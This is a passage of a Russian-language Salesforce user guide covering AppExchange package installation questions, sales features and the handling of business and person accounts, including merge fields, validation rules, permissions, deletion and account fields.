Управляемые пакеты доступны для полного обновления. Прежде чем установить пакет, обратитесь к его издателю и
убедитесь, что пакет является управляемым.

Насколько безопасны устанавливаемые компоненты?
Компания Salesforceрегулярнопроверяет всеобщедоступныеприложениякаталогаAppExchangeна соответствие текущим
требованиям безопасности. Устанавливаемым сторонним приложениям, которым предоставляется доступ к данным,
могутбытьдоступныдругиеданныеорганизации, в которуюустановленпакет. Приложения, доступныевличныхсписках,
не проверяются на безопасность, поэтому должны устанавливаться в организацию только после тщательной проверки
ее администратором.

Что происходит с префиксом пространства имен при установке пакета?
Префикс пространства имен — это глобально уникальный идентификатор, который можно запросить для создания
управляемогопакета. Всекомпонентыустанавливаемогоуправляемогопакета, полученногоот стороннегоразработчика,
содержат префикс пространства имен данного разработчика. Тем не менее, неуправляемые пакеты, установленные из
организации, которая содержитуправляемыйпакет, такжемогутиспользоватьпрефикспространстваимен. Приустановке
неуправляемого пакета, содержащего префикс пространства имен, система Salesforce заменяет префикс пространства
имен разработчика доступным префиксом.

Можно ли повторно установить удаленный пакет AppExchange?
Да. Повторная установка пакета аналогична обычной установке.
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Учитываются ли настраиваемые объекты, вкладки и приложения из устанавливаемого
пакета AppExchange ограничениями моей версии Salesforce?
Нет. Настраиваемые объекты, вкладки и приложения пакета, устанавливаемого из каталога AppExchange, не учитываются
ограничениями, заданными для версии Salesforce. Тем не менее, другие типы настраиваемых компонентов (например,
настраиваемые поля), используемые пакетом, учитываются соответствующими ограничениями для версии Salesforce.

Прим.: Данные правила применяются только к управляемым пакетам, указанным в общедоступных списках
AppExchange. При установке неуправляемого пакета или управляемого пакета, отсутствующего в общедоступных
списках AppExchange, его настраиваемые объекты, вкладки и приложения учитываются ограничениями для версии
Salesforce.
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Продажи клиентам

Повышение показателей успешности продаж при помощи Salesforce

Вы готовы добиться больших успехов в продажах? Узнайте подробнее об основных функциях обеспечения продаж
Salesforce, а также о средствах повышения производительности.

Основные функции для обеспечения продаж
Управление базовыми компонентами: люди, которым вы продаете товары, предлагаемые продукты и услуги и другие
функции.

• Организации

• Контакты

• Интересы

• Кампании

• Возможности

• Продукты и прайс-листы

• Интеграция с соцсетями

• Управление территориями предприятия

• Совместные прогнозы

• Data.com

Функции для повышения производительности продаж
Повысьте эффективность использования Salesforce за счет отслеживания событий, сообщения с клиентами по эл. почте
и т. п.

• Начальная страница

• Примечания

• Действия

• События и календари

• Задачи

• Электронная почта Salesforce

• Интеграция электронной почты Microsoft® для Office 365™

• Work.com
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Управление людьми и организациями-покупателями

Определение клиентов, конкурентов и партнеров

Организации

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Используйте организации Salesforce для хранения информации о ваших клиентах или
объектах, с которыми работаете, такими как компании, учебные заведения,
государственные органы или отдельные люди.

Рекомендуем воспринимать организацию как папку, предназначенную для хранения
любой информации о клиенте. Например, при сохранении сведений о компании
пользователи могут указывать ее название, расположение, контактное лицо, прошлые
или текущие заказы и другую связанную информацию. Можно также хранить журнал
телефонных звонков или запросов на обслуживание.

Система Salesforce позволяет хранить сведения о компании (название, расположение,
веб-сайт и т. д.) посредством записи организации. Сведения, связанные с организацией
(например, контактное лицо, примечанияи заказы), хранятся посредствомдругих типов
записей. Система Salesforce позволяет быстро находить все записи, связанные с каждой
организацией, путем их перечисления на начальной странице записи организации.
Воспользуйтесь вкладкой «Организации» для обнаружения, создания, удаления,
сортировкиифильтрацииорганизаций. Выберитенужнуюорганизациюдляпросмотра
начальной страницы записи, редактирования сведений и получения доступа к другим
связанным записям.

Ниже перечислены некоторые рекомендации по использованию организаций.

Поддержка двух типов организаций
По умолчанию организации Salesforce являются организациями-компаниями.
Организации-компаниииспользуютсядляхраненияинформацииокомпанияхили
другихучреждениях. Принеобходимостиадминистраторы Salesforce могут такженастраивать организации-лица, которые
используются для хранения информации об отдельных людях. Например, организациями-лицами могут быть
покупатели интернет-магазина, посетители спортзала, туристы или другие отдельные потребители. В зависимости
от целевой аудитории продаж, компания может использовать организации одного или обоих типов.

Прим.: В интерактивной справке Salesforce и другой документации термин «организация» относится к
организациям-компаниямиорганизациям-лицам. Термины «организации-компании»и «организации-лица»используются
при наличии различий между данными двумя типами организаций.

Возможность переименования организаций
Администратор Salesforce может переименовать организации в соответствии с текущими бизнес-требованиями
(например, «Клиенты» или «Пациенты»). Тем не менее, интерактивная справка Salesforce будет использовать только
термин «организации».

Возможность доступа к организациям на мобильных устройствах
Организации могут быть доступны посредством полной версии системы Salesforce или мобильного приложения
Salesforce1 (при включении доступа администратором Salesforce).
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Возможность связывания организаций с социальными сетями и новостями
При использованиифункции «Социальные организации, контакты и интересы», «Сведения об организации» или
«Очистка Data.com» система позволяет просматривать дополнительные сведения и обновления об организациях.

СМ. ТАКЖЕ:

Социальные организации, контакты и интересы

Группы, работающие с организациями

Управление электронной почтой и шаблонами в Lightning Experience

Управление рабочими процессами и просмотр прошлых действий в Lightning Experience

Социальные организации, контакты и интересы

Что такое организация-лицо?

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Организации-лица хранят информацию об отдельных клиентах.

Прим.: Данный выпуск поддерживает бета-версию организаций-лиц в системе
Lightning Experience, являющуюся полноценной, но имеющую некоторые
ограничения. Дополнительнуюинформациюоб активацииорганизаций-лицдля
вашей организации см. в разделе «Активация организаций-лиц» на странице 1874.

По умолчанию организации Salesforce являются организациями-компаниями.
Организации-компании используются для хранения информации о компаниях или
других учреждениях. При необходимости администраторы Salesforce могут также
настраивать организации-лица, которые используются для хранения информации об
отдельных людях. Например, организациями-лицами могут быть покупатели
интернет-магазина, посетители спортзала, туристыилидругие отдельныепотребители.
Взависимостиотцелевойаудиториипродаж, компанияможетиспользоватьорганизации
одного или обоих типов.

Организации-лицаотличаютсяоторганизаций-компаний. Например, организации-лица
немогутиметьконтакты. Записьорганизации-лицапозволяетхранитьсведения, которые,
как правило, сохраняются для деловых контактов, например имя и фамилия. Обычно
высохраняетеорганизацию-лицокакконтакт. Например, пользователимогутприглашать
организации-лица на встречи, выбирать связанные кампании или отправлять запросы
об обновлении контактов. Остальные различия между организациями-лицами и
организациями-компаниями см. в разделе «Алгоритмы организаций-лиц».

Прим.: В интерактивной справке Salesforce и другой документации термин
«организация»относитсякорганизациям-компаниямиорганизациям-лицам. Термины
«организации-компании» и «организации-лица» используются при наличии различий
между данными двумя типами организаций.

СМ. ТАКЖЕ:

Алгоритмы организаций-лиц

Организации
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Рекомендации по использованию полей слияния для организаций-лиц

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Поле слияния — это поле, которое может быть добавлено в сообщение илишаблон
сообщения электронной почты, шаблон стандартного письма, настраиваемую ссылку
илиформулу для внедрения значений из записи. Поля слияния могут использоваться в
темеи текстенастраиваемых HTML-шаблонов. Еслииспользуютсяполя слияний, следует
пониматьпринципыихработыи воздействияна объединенные документыи эл. почты.

• Если включена поддержка организаций-лиц, то поля организаций-компаний и
организаций-лицдоступнывкачествеполейслиянияорганизаций. Поляорганизации,
используемые только в организациях-лицах (например, «Дата рождения», «Эл.
почта» и «Должность»), содержат префикс Account.Person в именах полей слияния.
Например, {!Account.PersonBirthdate}.

• Поле слияния {!Account.IsPersonAccount} позволяет определить тип текущей
организации: организация-лицо или организация-компания.

• Некоторые поля организаций могут потерять свою уникальность, так как их имена
иметкимогут совпадать сполямиконтактов, принадлежащихорганизациям. Данные
поля отображаются на странице организаций со значком организации-лица ( ).
Убедитесь, чтовсенастраиваемыеполяорганизацийиспользуютуникальныеимена
и метки. В противном случае поле слияния может ссылаться на другое поле.
Дополнительную информацию см. в разделе «Что такое организация-лицо?» на
странице 1250.

Важное замечание:

• Еслинастраиваемыеобъектыиспользуютодинаковыеименаилиметки, топри
использовании списка «Доступные поля слияния» отображаются только поля
одного настраиваемого объекта. Чтобы гарантировать возможность выбора
полей слияниядругихобъектов, рекомендуемиспользовать уникальныеимена
и метки для всех настраиваемых объектов.

СМ. ТАКЖЕ:

Организации

Правила проверки для организаций-лиц
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Правила проверки для организаций-лиц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Важное замечание: Включениеорганизаций-лицявляетсянеобратимым. Поэтому
действующим клиентам мы рекомендуем создать безопасную среду, чтобы
просмотреть, каким образом организации-лица повлияют на их организацию.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи. Список доступных полей слияния определяется типом используемых данных.
Данный раздел содержит рекомендации по использованию полей слияния в правилах
проверки для организаций-лиц.

Советы

• Чтобы определить правило проверки, применяемое только к организациям-лицам,
воспользуйтесь полем слияния IsPersonAccount. Например, поле слияния
Account.City = “Сан-Франциско” определяет Сан-Франциско как город
организации-компанииилиорганизации-лица, аполеслияния IsPersonAccount
( Account.City = “Сан-Франциско”) определяет Сан-Франциско только как
город организации-лица.

• Правила проверки организаций должныобрабатывать имена организаций-лициорганизаций-компанийраздельно.

– При использовании организаций-компаний рекомендуем использовать поле слияния Name.

– При использовании организаций-лиц рекомендуем использовать поля слияния FirstName и LastName.

• Поля «Дата рождения», «Эл. почта» и другие поля, поддерживаемые только для организаций-лиц, доступны в
правилах проверки организаций в качестве полей слияния. При обработке записей организаций-компаний данные
поля слияния обрабатываются как пустые поля. Полный список полей организаций-компаний и организаций-лиц
см. в разделе «Поля организаций» на странице 1262.

СМ. ТАКЖЕ:

Организации

Рекомендации по использованию полей слияния для организаций-лиц

Что такое организация-компания и чем она отличается от организации-лица?
Организация-компания — это компания, корпорация, фирма или любая другая коммерческая структура, которая может
быть связана с несколькими контактами. Организации-компании доступны во всех версиях и обозначаются значком
папки ( ).

Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяюторганизациям Salesforce включать
поддержку организаций-лиц ( ), то есть отдельных потребителей, являющихся одновременно организациями и
контактами.

СМ. ТАКЖЕ:

Организации
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Алгоритмы организаций-лиц

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Организации-лица — это организации, которые могут использоваться в качестве
контактов. Однако есть основные области, в которых организации-лица отличаются от
организаций-компаний или подчиняются особым рекомендациям.

Прим.: Данный выпуск поддерживает бета-версию организаций-лиц в системе
Lightning Experience, являющуюся полноценной, но имеющую некоторые
ограничения. Дополнительнуюинформациюоб активацииорганизаций-лицдля
вашей организации см. в разделе «Активация организаций-лиц» на странице 1874.

Алгоритм организаций-лицФункции Salesforce

Организации-лица могут быть объединены только с другими
организациями-лицами. См. раздел «Объединение
повторяющихся организаций» на странице 1280.

Объединение
организаций

Поля, доступные в разделе «Быстрое создание» на начальной
странице вкладки «Организации», определяются стандартным
типомзаписиорганизации, заданнымвпрофилепользователя
(«организация-лицо» или «организация-компания»).

Быстрое создание
организаций

Организации-лица не могут быть взаимосвязаны с другими
организациями и контактами. Их нельзя включить в иерархии
организаций.

Организации

Организации-лица могут быть связаны с событиями или
задачами посредством поля «Имя» или «Связано с».

Подобноконтактам, организации-лицамогутбытьприглашены
на мероприятия.

Действия

Чтобы предоставить пользователям возможность отправлять
запросы на проведение конференции организации-лицу,
рекомендуем добавить поле «Эл. почта» в макет страницы
«Организации-лица».

Подобно контактам, организации-лица могут быть добавлены
в кампании и иметь связанный список «Журнал кампании».

Кампании

Организации-лицамогутбытьуказанывполеобращения «Имя
организации» или «Имя контакта», либо в обоих полях.

Обращения

При отслеживании организаций-лиц выполняется
отслеживание полей организации, а не полей контакта.

Отслеживание ленты
Chatter

Подобно контактам, организации-лица могут быть включены
вкачествепользователейнастраиваемыхсообществипорталов.

Организации-лица не могут быть включены в качестве
пользователей партнерских сообществ и порталов.

Сообщества и
порталы
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Алгоритм организаций-лицФункции Salesforce

Подобноконтактам, организации-лицамогутбытьдобавленывсвязанныйсписок «Роли
контактов» для обращений, контрактов и потенциальных клиентов.

Аналогичнымобразом, выможетедобавитьконтактыкорганизациям-лицам, используя
связанный список «Роли контактов».

Роли контактов

В отличие от организаций-компаний, организации-лица нельзя объединить с
контактами.

Контакты

Настраиваемыеобъекты, взаимосвязанныесорганизациямииликонтактами, могутбыть
добавлены в организации-лица в виде связанных списков.

Настраиваемые объекты

Лицензия Data.com Prospector и функция очистки Data.com Clean не поддерживают
организации-лица.

Data.com

Организации-лица поддерживаются следующимифункциями интеграции Salesforce.Интеграция компьютеров

• Salesforce App for Outlook

• Salesforce для Outlook

• Connect Offline

Организации-лица не поддерживаются Exchange Sync.

Организации-лицанеподдерживаютсяуправлениемобработкойдубликатов Data.com.Управление повторами

Подобноконтактам, организации-лицаподдерживаютотправкуотдельныхсообщений
эл. почты и пакетных рассылок.

Эл. почта

Организации-лица поддерживаются, но требуется дополнительная конфигурация.ExactTarget

Поля организаций-лиц, связанные с организациями, могут отслеживаться с помощью
параметров журнала полей организации, а поля организаций-лиц, связанные с
контактами, настраиваются на странице параметров журнала полей контакта.

Журнал поля

Большаячасть стандартныхполейорганизацийиконтактов, а также всенастраиваемые
поля организаций и контактов доступны на макетах страницы организаций-лиц.

Некоторые поля организаций-компаний (такие как «Родительская организация» и
«Просмотр иерархии»), а такженекоторыеполя контактов (такие как «Подчиненный»)
не поддерживаются организациями-лицами.

Поля

См. раздел «Поля организаций-лиц».

.

В Salesforce Classic организации-лица обозначаются значком человека ( ), а
организации-компании — значком папки ( ).

Значки

В Lightning Experience организации-лица обозначаются значком человека со зданием

( ), а организации-компании — значком здания ( ).

Значок организации-лица может быть добавлен в результаты поиска, списковые
представления и диалоговые окна поиска путем включения поля «Является
организацией-лицом» в макет поиска или списковое представление.
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Организации-лица могут быть импортированы посредством мастера импорта
организаций-лиц.

Мастеры импорта

Интересующиесяклиенты, неимеющиезначенийвполе «Компания», конвертированы
ворганизации-лица. Интересующиесяклиенты, имеющиезначениявполе «Компания»,
конвертированы в организации-компании.

Преобразование интересов

Организации-лица отображаются во всех списковых представлениях организаций и
контактов, но не отображаются в списке «Недавние контакты» на начальной странице
«Контакты».

Выможете быстро просмотреть, какие записи являются организациями-лицами, путем
включения поля «Является организацией-лицом» в список полей для отображения.

Списковые представления

Чтобывключитьорганизации-лицав списковоепредставлениеилиисключитьизнего,
добавьте поле «Является организацией-лицом» в критерии фильтрации.

Мобильные конфигурации Salesforce Classic Mobile, содержащие организации,
автоматически передают организации-лица и организации-компании на мобильные
устройства пользователей.

Организации-лицамогутбытьисключеныизнабораданныхконфигурацииспомощью
критерия «Является организацией-лицом равно Ложь». Чтобы передать на мобильное

Мобильныеконфигурациидля
Salesforce Classic

устройство только организации-лица, укажите критерий «Является организацией-лицом
равно Истина». Если мобильная конфигурация содержит организации, но не содержит
контакты, топользователям, назначеннымэтойконфигурации, вмобильномклиентском
приложении будет доступна вкладка «Контакты», на которой будут отображаться
организации-лица..

Компоненты и атрибуты организаций-лиц могут добавляться в управляемые и
неуправляемые пакеты.

Пакетирование

Организации-лицаимеют собственныемакеты страниц, которыемогут включатьполя
организаций и контактов, ссылки организаций и связанные списки организаций и
контактов.

Макеты страниц организаций-лиц не поддерживают поля «Подчиненный» и
«Родительская организация». См. раздел «Поля организаций-лиц».

Макеты страниц

Организации-лица поддерживаются, но требуется дополнительная конфигурация.Pardot

Связанный список «Партнеры» позволяет связывать организации-лица друг с другом.
Рекомендуется переименовать связанный список партнеров, чтобы видеть, как связаны
ваши организации-лица.

Партнеры

Созданиеилиредактированиеорганизации-лицаинициируетконструкторпроцессов,
если применимо.

Конструктор процессов

Администраторы могут настраивать разные типы записей для организаций-лиц.
Организация-лицоможетбытьзамененатолькодругимтипомзаписиорганизации-лица.

Типы записей

Чтобы настроить имена вкладок и полей, отображаемых в записях организации-лица,
администраторам необходимо настроить вкладки и поля организаций и контактов.

Переименованные вкладки и
стандартные поля
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При использовании организаций-лиц и приложения Salesforce1 данное приложение
позволяет создавать, просматривать и управлять организациями-лицами для
большинства функций.

Salesforce1

В Lightning Experience и Salesforce1 организации-лица выводятся в результатах поиска
как организаций, так и контактов. В Salesforce Classic организации-контакты выводятся
в результатах поиска организаций.

Чтобы помочь пользователям различать организации-лица и организации-компании
в результатах поиска, администраторы могут включить поле «Является
организацией-лицом» в соответствующий макет поиска.

Поиск

Подобноконтактам, организации-лицамогутбыть включенывкачествепользователей
портала самообслуживания.

Портал самообслуживания

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Если организация поддерживает использование организаций-лиц, то единым
стандартным параметрам для контактов задается значение «Контролируется
родительским объектом», которое недоступно для редактирования.

Если организация настроила параметры общего доступа к контактам и требуется
активация организаций-лиц, измените единые стандартные параметры для контактов

Параметры общего доступа

на значение «Контролируется родительским объектом», позволяющее удалить все
правила общего доступа к контактам и общие доступы к контактам, установленные
вручную.

Подобно контактам, организации-лица могут связываться с профилями социальных
сетей.

Социальные организации,
контакты и интересы

Подобноконтактам, организации-лицаподдерживаютотправкуотдельныхипакетных
запросов об обновлении контактов.

Запросы об обновлении
контактов

Организации-лица учитываются в хранилищеорганизацийиконтактов, так как каждая
организация-лицо состоит из одной организации и одного контакта.

Хранилище

Создание и редактирование организаций-лиц инициирует потоки, созданные с
помощью Visual Workflow.

Visual Workflow

Создание или редактирование организации-лица запускает бизнес-правила для
организации.

Бизнес-правила

СМ. ТАКЖЕ:

Что такое организация-лицо?

Включение организаций-лиц

https://help.salesforce.com/help/pdfs/en/salesforce_B2C_implementation_guide.pdf
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Просмотр списков организаций

ВЕРСИИ

Учетные записи
организаций доступны в
версиях: Salesforce Classic
и Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Учетные записифизических
лиц доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
организаций:
• «Чтение» для

организаций

Для создания
организаций-компаний:
• «Создание» для

организаций

Для создания
организаций-лиц:
• «Создание» для

организаций и
контактов

Страница со списком организаций содержит организации, доступные в текущем
представлении.

• Чтобы просмотреть сведения об организации, щелкните имя нужной организации.

• Чтобыизменитьилиудалитьорганизацию, щелкните ссылку «Правка»или «Удал.»
напротив имени нужной организации.

• Если ваша организация использует учетные записи физических лиц, а текущее
списковоепредставлениесодержитполе «Является учетной записью физическиого
лица», то заголовок соответствующего столбца отображается в виде значка учетной
записи физического лица ( ) в Salesforce Classic. Чтобы отсортировать
организации-лица, щелкните значок организации-лица в заголовке.

СМ. ТАКЖЕ:

Организации
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Использование организаций

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для организацийДля просмотра организаций:

«Редактирование» для организацийДля редактированияорганизаций-компаний:

«Редактирование» для организаций и
контактов

Для редактирования организаций-лиц:

“Управление внешними пользователями»Для включения организаций-партнеров:

«Редактирование» для организаций

И

“Управление внешними пользователями»

Для отключения организаций-партнеров:

«Редактирование» для организаций

И

«Редактирование пользователей портала
самообслуживания»

Для отключения организаций клиентского
портала:

Организация — это отслеживаемая организация, компания или потребитель (например,
клиент, партнер или конкурент).

• Просмотр и редактирование организаций.

• Использованиесоциальныхорганизаций, контактовиинтересовдляпросмотрапрофилейорганизацийвсоциальных
сетях: см. уровень их влияния в социальных сетях и связанные видео в YouTube.

• Поиск информации, связанной с организацией (например, контактов).

• Извлечение контактов Data.com для организации.

• Очистка организаций с помощьюфункции очистки Data.com.

• Просмотр обновлений и комментариев для организации посредством Chatter.

• Предоставление пользователям клиентского портала доступа к организации.

• Включение организации в качестве партнера.

СМ. ТАКЖЕ:

Организации
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Отображение и редактирование сведений об организации

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для организацийДля просмотра организаций:

«Редактирование» для организацийДля редактированияорганизаций-компаний:

«Редактирование» для организаций и
контактов

Для редактирования организаций-лиц:

“Управление внешними пользователями»Для включения организаций-партнеров:

«Редактирование» для организаций

И

“Управление внешними пользователями»

Для отключения организаций-партнеров:

«Редактирование» для организаций

И

«Редактирование пользователей портала
самообслуживания»

Для отключения организаций клиентского
портала:

Обнаружив организацию на странице организаций или на страницах со списками,
щелкните название организации, чтобы просмотреть страницу сведений об этой
организации.

• Чтобыизменитьзначенияполейпрямонастраницесведений, воспользуйтесьфункциейвстроенногоредактирования.
Чтобывключитьфункциювстроенногоредактирования, обратитесь к администратору.Встроенноередактирование
доступно только в Salesforce Classic.

• Чтобы открыть страницу в режиме редактирования, нажмите кнопку «Правка», внесите необходимые изменения и
нажмите кнопку «Сохранить».

• Чтобы сохранить текущую организацию и создать новую в Salesforce Classic, щелкните «Сохранить и создать».

• Чтобы открыть печатную версию сведений о записи, щелкните ссылку «Версия для печати», расположенную в
верхнем правом углу страницы.Печатная версия доступна только в Salesforce Classic.

• Чтобы включить организацию в качестве партнера, нажмите кнопку «Управление внешней организацией» и
щелкнитессылку«Включитькакпартнера». ДоступнотольковSalesforce Classic, есливкомпаниивключенаподдержка
партнерского портала.

• Чтобы включить организации-лица в качестве пользователей клиентского портала, нажмите кнопку «Управление
внешним пользователем» ищелкните ссылку «Включить пользователя-клиента». Доступно только в Salesforce
Classic, если компания имеет организации-лица и клиентский портал.

Прим.: Ответственный за организацию может просматривать все данные, связанные с этой организацией.

Наличие полномочия на просмотр чужих возможностей, связанных с собственнымиорганизациями, определяется
ролью, заданной администратором.
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Кроме того, если организации назначены территориям, то администратор может задать параметры, которые
определяютналичиеполномочиянапросмотр, редактирование, переносилиудалениеорганизацийпользователями
данной территории.

СМ. ТАКЖЕ:

Поля организаций

Организации

Выбор и изменение изображений для профилей организаций, контактов и интересов

Рекомендации по созданию организаций

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены рекомендации и советы по созданию организаций.

• Создание организаций-компаний доступно только при наличии полномочия
«Создание» для организаций. Создание организаций-лиц доступно только при
наличии полномочия «Создание» для организаций и контактов.

• Если организация использует типы записей, то при создании организации
пользователямможетпредлагатьсявыборзначениявполе «Тип записи». Доступные
поляизначенияраскрывающихсясписковопределяютсявыбраннымтипомзаписи.

• Чтобы указать организацию-компанию, для которой данная организация-компания
являетсядочерней, заполнитеполе «Родительская организация». Принеобходимости
просмотрите иерархию взаимосвязей организации. Поле «Родительская
организация» недоступно для организаций-лиц.

• Чтобы указать дополнительные филиалы компании, заполните поле
«Местоположение организации». Например, компания Acme.com располагает
филиалами в Париже и Лондоне. Создайте две организации по имени Acme.com и
заполнитеполе «Местоположение организации» значениями «Париж» и «Лондон».

• Если в организации включена поддержка подразделений, то подразделениюновой
организации автоматически назначается стандартное подразделение текущего
пользователя, кроме тех случаев, когда выбрано другое подразделение.

• Если в организации включена функция управления территориями, то новые
организации могут автоматически назначаться территориям с помощью правил
назначения организаций. See Territory Management на странице 1453.

СМ. ТАКЖЕ:

Поля организаций

Просмотр родительских организаций

Создание записей
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Общие сведения о действиях, выполняемых при удалении организаций

ВЕРСИИ

Организации-компании
доступны в: Salesforce
Classic и Lightning
Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в: Salesforce
Classic и Lightning
Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Для удаления организаций:
• «Удаление» для

организаций

В большинстве случаев организации и связанные записи могут быть удалены одним
щелчком, нонекоторыеорганизациимогутбыть удаленытолькопосле удаления связей.

Важное замечание: Возможность удаления организации определяется наличием
параметра «Удалить»настраницесведенийоборганизацииистраницесосписком
организаций в Salesforce Classic и Lightning Experience. При отсутствии данного
параметра организация не может быть удалена. Обратитесь за помощью к
администратору Salesforce.

Удаленные организации (и связанные элементы) перемещаются в корзину.

Прим.: При использовании Lightning Experience удаленные элементы также
перемещаются в корзину, несмотря на ее недоступность. Чтобы просмотреть или
восстановитьэлементыкорзины, рекомендуемвременнопереключитьсянаSalesforce
Classic.

• Контакты

• Возможности

• Контракты (неактивированные)

• Действия

• Примечания

• Вложения

• Ролиигруппыпортала (привыключениивсехпользователейпорталаворганизации)

• Отношения с партнерами

• Участники группы взаимосвязи

Восстановление организации из корзины также инициирует восстановление любых
связанных элементов. Исключения см. ниже.

• Участники группы взаимосвязи (в некоторых случаях).

• Ролии группыпортала. См. раздел «Использование организаций»на странице 1258.

Организация не может быть удалена:

• При отсутствии полномочия «Удаление» для организаций.

• Приотсутствииролиответственного за организацию, менеджера ответственного за
организацию в иерархии ролей или администратора.

• При включении организации в качестве партнера; при наличии связанных обращений, активированных контрактов
илисвязанныхвозможностей, принадлежащихдругимпользователям; приналичиисвязанныхконтактов, включенных
для портала самообслуживания.

Крометого, приудаленииорганизации, содержащейсобственныезакрытые/реализованныевозможности, отображается
сообщение, предлагающееудалить закрытые/реализованныевозможностивместе сорганизациейилиотменитьудаление
организации.
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Прим.: Связанные записи, включенныевпроцесс удаления, могутбыть удаленыбез соответствующегополномочия
«Удаление».

СМ. ТАКЖЕ:

Удаление записей

Объединение повторяющихся организаций

Организации

Поля организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные поля
организаций-компаний
определяютсяиспользуемой
версией Salesforce.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступные поля
организаций-лиц
определяютсяиспользуемой
версией Salesforce.

Поля организаций-компаний
Ниже перечислены поля, доступные в организациях-компаниях. В зависимости от
используемого макета страницы и параметров безопасности полей некоторые поля
могут быть скрыты или недоступны для редактирования.

Если запись организации добавлена из Data.com, то некоторые поля будут заполнены
значениями Data.com или D&B (при их наличии). Некоторые поля Data.com доступны
толькотеморганизациям, которыеиспользуютконкретныйпродуктData.com. Описания
этих полей содержат соответствующие пометки.

Допускает значение
Data.com или D&B

ОписаниеПоле

Стандартная валюта для
всех полей валюты в
организации. Стоимость
отображается в валюте
организации, а также
преобразуется в личную
валюту пользователя.
Данное поле доступно
только мультивалютным
организациям.

Валюта организации

Подразделение, которому
принадлежиторганизация.

Подразделение
организации

Записи, связанные с
организацией (например,
контакты и возможности),
автоматически наследуют
ее подразделение. Данное
поле доступно только для
организаций,
использующих
подразделения для
сегментирования данных.
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Допускает значение Data.com или
D&B

ОписаниеПоле

 (D&B)Название компании. Данное поле
может содержать не более
255 символов.

Имя организации

Имя организации, переведенное на
родной язык.

Имя организации (на родном языке)

Регистрационный номер или номер
отслеживания организации. Данное

Номер организации

поле может содержать не более
40 символов.

Назначенный ответственный за
организацию. Недоступно в версии
Personal Edition.

Ответственный за организацию

Имя поля, которое определяет
значения раскрывающегося списка,

Тип записи организации

доступные для записи. Доступно в
версиях Enterprise Edition, Unlimited
Edition, Performance Edition и Developer
Edition.

 (D&B)Сведения о местоположении
организации (например, «Один офис»,

Местоположение организации

«Головной офис» или «Филиал»).
Данное поле может содержать не
более 80 символов.

 (Data.com)Источник записи организации.
Например, Объявление, Data.com или

Источник организации

Выставка. Источник выбирается из
раскрывающегося списка доступных
значений, заданныхадминистратором.
Каждое значение раскрывающегося
списка может содержать не более
40 символов.

 (D&B)Сумма дохода за год.Годовой доход

Прим.: Если организации
очищаются с помощью
продукта Data.com Prospector
илифункцииData.com Clean, то
Data.com ежемесячно
преобразуетвалюты, отличные
от USD, в USD, чтоможет вызвать
изменение значений данного
поля. Если организация
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Допускает значение Data.com или
D&B

ОписаниеПоле

использует валюту, отличную
от USD, то поле «Годовой
доход» пропускается при
определении статуса очистки
записи (поэтому значениеполя
«Статус очистки» неменяется).
Кроме того, значение поля
«Годовой доход» удаляется из
записей организаций и со
страницы сравнения.

 (D&B)Часть адреса для выставления счета:
название города. Данное поле может
содержать не более 40 символов.

Город для счета

 (D&B)Часть адреса для выставления счета:
название страны. Значение

Страна для счета

выбирается из раскрывающегося
